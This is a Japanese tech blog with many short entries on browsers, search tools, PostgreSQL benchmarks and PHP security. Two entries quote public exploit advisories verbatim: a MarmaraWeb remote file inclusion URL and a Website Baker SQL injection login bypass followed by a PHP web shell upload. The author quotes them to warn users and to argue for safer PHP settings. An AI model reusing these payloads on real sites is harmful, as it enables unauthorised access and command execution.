Blogger Web Comments for Firefoxと言うFirefox拡張をインストールしてみました。
最初は勝手にポップアップウィンドウが開くのが少々いやでしたが結構便利です。自分のブログにトラックバック無しでリンクを張って頂いている方のブログなども見れて非常に便利です。
今見ているページに関連したブログのページが見えるのは良いですね。ただ、今のところはSPAMに対する対策が十分ではない(?)ようで普通のページなのにBlogger Web Comments表示されているリンクが明らかにアダルトサイトになっているページもありました。しかし、そこまでやるんですね。アダルトサイト運営者恐るべし…
久しぶりにGoogle Definitionsを使ってみると、機能が拡張されていました。
define: 日本
で検索すると、日本語と中国語の定義は検索しているようでした。残念ながらまだ準備中(?)なのか日本語の定義は表示されませんでしたが、中国語の定義は表示されました。
結構便利な機能なので早く日本語も使えるようになると助かります。
Wikipediaに掲載されている情報はslashdot.jpでも議論されれている通り嘘の情報を書き込みが原因で大騒ぎになっていました。
過去にはワザと嘘の情報をWikipediaに掲載してどれくらいで修正されるか?という実験をした方もいたのですが情報元を失念…
CNet Japanの記事はWikipediaはBritannicaと同等レベルで信頼できるとする調査結果をレポートしています。
Britannicaも完全ではない、という事で一安心?!
Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。
MarmaraWeb E-commerce Remote Command Exucetion
###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###———————————–
###MarmaraWeb E-commerce Remote Command Exucetion
###———————————–
###Site: http://www.marmaraweb.com/referanslar.php#eticaret
###
###Description:An E-commerce scirpt coded by MarmaraWeb.
### selling produces from internet like books,DVDs,roasted chickpeas etc..
###=))
###
###
###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
###
###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
###
###
###Solution : no I’m sorry =))
###
###Contact : B3g0k[at]hackermail[dot]com
###B3g0k [Kurdish Hacker]
###Freedom For Ocalan!!!
###Her B�j� Defacera Kurd!!!
###Greetz KHC,Serwebun Team,KHA,KCA
今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起（詳しくはこのブログエントリを参照）したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした…
このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。
自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。
mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。
http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
http://www.s9y.org/forums/viewtopic.php?p=17772
http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html
私が作ったPthread版 pgbenchに、永安さんからprepared statementを使用するパッチを頂きました。
残念ながら私はまだ試せていませんが20%以上性能が向上したようです。
「Macromedia Flash Player SWF File Handling Arbitrary Code Execution」と言う不具合があったのでWindowsの方はFlashPlayer8にアップグレートしていたのですが、Linuxの方をアップグレードし忘れていました…
The vulnerability also affects libflashplayer.so on the Unix platform
という事で、Linuxの場合はFlashPlayer8は無いのでFlashPlayer 7.0.60以上でなければならないでそうす。
最近公開されているPHPアプリの攻撃手法には以前に見られない傾向があります。例えば、Wesite Bakerというアプリケーション（私はこのアプリが何なのかもしりません）ですが、SQLインジェクション脆弱性を使用しシステムに不正に侵入した後、丁寧に管理者であれば公開ディレクトリにファイルがアップロードできる仕様を利用して任意コマンド・スクリプトを実行する手順まで解説しています。
最近、親切（？）に脆弱性を攻撃する方法が解説されているケースが増えています。公開されているPHPのアプリケーションにはセキュリティ上問題が含まれている事が少なくありません。OSSであることは安全性の十分条件ではありません。公開されているアプリ、ツールを利用されている場合も細心の注意が必要です。
# これも使ったことがないですが、Zen-Cart(1.2.6d以下）も
# SQL Injection => リモートコマンド実行の脆弱性が公開され
# ています。利用されている方は必要な対処を早急に行うべきで
# す。
Website Baker <=2.6.0 SQL Injection -> Login bypass -A> remote code execution
software:
site: http://www.websitebaker.org/2/home/
description: “Website Baker 2, the Open Source Content Management System
designed to enable users to produce websites with ease.”if magic_quotes_gpc off you can bypass admin login check and grant access
to administrative area, poc:switch to:
http://[target]/[path_to_wb]/admin/
and login with:
user: ‘or isnull(1/0)/*
pass: [whatever]now you can go to “Media” menu and upload a cmd.php file with this code inside:
<?php echo “Hi Master!”;error_reporting(0);ini_set(“max_execution_time”,0);system($_GET[cmd]);?>
PostgreSQL 8.1.1がリリースされました。
http://www.postgresql.org/ のLATEST RELEASESからダウンロードできます。
Outer Join、CHECK文の不具合、sub selectの不具合などが修正されているそうです。他にも色々修正されているので不具合でお困りの方は試してみてはいかがでしょうか?
Athlon64 3200+/3GB/SATA HDD/1GbE/MomongaLinux x86_64開発版 にPostgreSQL 8.1.1をインストールしてPentiumDのマシンからpgbenchを実行した結果 （スケールファクタ 10、TCP接続設定以外はデフォルト)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
starting vacuum…end.
transaction type: TPC-B (sort of)
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 282.428887 (including connections establishing)
tps = 282.667102 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
starting vacuum…end.
transaction type: SELECT only
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 4822.840200 (including connections establishing)
tps = 4892.360725 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
starting vacuum…end.
transaction type: Update only accounts
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 301.807334 (including connections establishing)
tps = 302.361132 (excluding connections establishing)
share_buffers=20000 (デフォルトは1000)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
starting vacuum…end.
transaction type: TPC-B (sort of)
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 329.863325 (including connections establishing)
tps = 330.396068 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
starting vacuum…end.
transaction type: SELECT only
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 5771.386160 (including connections establishing)
tps = 5875.513153 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
starting vacuum…end.
transaction type: Update only accounts
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 397.720948 (including connections establishing)
tps = 398.210553 (excluding connections establishing)
グーグルローカルではかなり複雑なJavaScriptを利用しているのですが「これでトラブルは発生していないのかな?」と思っていたらやはり結構苦労が多いようです。
1. Internet Explorer を起動し、[ツール] をクリックします。
2. [インターネット オプション] を選択します。
3. [全般] が選択されていない場合は、[全般] をクリックします。
4. [インターネット一時ファイル] で [ファイルの削除…] をクリックします。
5. [OK] をクリックして終了します。
これは基本ですよね。理由は知りませんが大量のキャッシュファイルが残ると何もかもおかしくなってしまいます。設定をはるかに超える量のキャッシュがキャッシュディレクトリに残ってしまう事があります。全てのファイルを消すまでに1時間以上かかったケースを目の当りにした事も…
ところで、URLを見ると.pyなのでpythonなのかな?
http://local.google.co.jp/support/bin/answer.py?answer=21849
ちなみにMSの http://local.live.com/ ですがFirefox 1.5（Windows版）でアクセスするとクリックしないとドラッグしたままになる問題がありました。Firefox 1.0（Linux版）では問題なくドラックできました。Firefoxを利用してlocal.live.comでズームするとlocal.google.comの地図をIEでズームした様に画像がズームアップしていきます。Firefoxでも同じ事がやろうと思えばできるんですね。
衛星画像ですがlocal.live.comの方がより細かい画像でした。しかし、場所によっては夜に撮影したと思われる画像もありました。少なくともNew York市の衛星写真は夜撮影したと思われる画像でした。
MS、Google両方ともアメリカの地図であれば経路検索もできるようになっていました。カーナビがGoogle化する日も近い?! G-Book危うし?!
自分のWikiのAdWords広告に以下のようなVisual Studioの広告が載っていたので見てみました。
Web アプリを開発するなら
Microsoft Visual Studio 2005 シンプルで使いやすい充実の機能満載
Beta2版とは言え自由にダウンロードできそうな感じだったので検索してみると
VS 2005のExpress Editionは事実上，無償提供へと言う記事を見つけました。1ヶ月も前の事なんですね。
1年間限定らしいのでVSを持っていない方はとにかく正式版がリリースされたらダウンロードだけはしておいても良いかも知れません。
備考：かなり古いブログですが公開し忘れしていた分です。
改訂版PHPポケットリファレンスに載るはずだった「言語仕様」に関する記述をWikiに載せました。私が直接聞いた感想ではこの言語仕様のページを気に入っているとおっしゃる方も多かったです。短いのでPHPをまったく知らない方が感じをつかむには便利(?)かも知れません。
eBayでEXCELの脆弱性が売りにだされたそうです。eBayの基準に合わないとして削除されたそうですが、0.01ドル（1セント）から売りに出され21件の応札があり$56にまで値上がりしたそうです。
# 似たような事は前にもあったと思いますが見つけられませんでした。
qmailの脆弱性なら作者から$500、qmailのユーザグループから$1000、djbdnsの脆弱性なら$500の懸賞金がもらえます。
途中で削除されたとはいえ$56は高いのか安いのか?
今の所ベータ版のようですがJNSAから「JNSAセキュアシステム開発ガイドライン」という文書が公開されています。
非常に細かい部分では追加・修正しても良いのかな?と思える部分もありますが、全体としては非常に良い文書だと思います。Webシステム開発で不十分なRFPをもらった時には利用させてもらいます。確かJNSAの文書は会員でないと自由にダウンロードできなかったので正式版になる前に非会員はダウンロードできなくなると思います。参考にされたい方はダウンロードはお早めに!?
LAMP+PostgreSQLはシンプルなサイト用に
Red Hat says the Web Application Stack is for simple web sites and applications, and includes the key LAMP components Apache HTTP Server, MySQL database and the PHP scripting language on top of Red Hat Enterprise Linux. Customers will be able to choose the PostgreSQL database, which will be an option with the Web Application Stack.
http://www.redhat.com/docs/manuals/database/
にあるようにRedHatはPostgreSQLを推進（RedHat Databaseの中身はPostgreSQL）するはず、だったのですがRHDBをバージョンアップしませんね…
Javaは何でもあり用に
It says the Java Web Application Stack is for more dynamic web applications and supports all the components of the Web Application Stack – in other words LAMP plus PostgreSQL – as well as the Apache Tomcat servlet and JSP Container. There will be support and updates for the key Java development libraries and tools – Apache Struts, Apache Axis, Spring, Hibernate, Lucene, Ant, Junit, Jython, Log4J and key XML libraries.
JythonがあるあたりはRedHatらしい。
基情報となる情報をRedHatのサイトを探してみまると2005/12/6のプレスリリースが基ネタのようです。